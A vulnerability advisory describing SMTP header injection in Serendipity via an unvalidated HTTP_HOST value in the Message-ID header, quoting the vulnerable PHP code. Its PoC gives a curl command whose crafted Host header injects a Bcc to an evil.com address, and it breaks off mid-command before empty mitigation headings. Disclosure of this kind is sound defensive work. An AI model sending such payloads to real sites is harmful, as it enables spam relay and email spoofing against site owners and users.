Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header
Date: 2026-04
Affected: composer/s9y/serendipity
Attack vector: other
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-39971
CWE: CWE-113
CVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)

### Summary Serendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing. ### Details In `include/functions.inc.php:548`: ```php $maildata['headers'][] = 'Message-ID: <' . bin2hex(random_bytes(16)) . '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled . '>'; ``` The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); } ``` Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter. Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured) ### PoC ```bash # Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \ h


Mitigations:

Architectural layers (MAESTRO):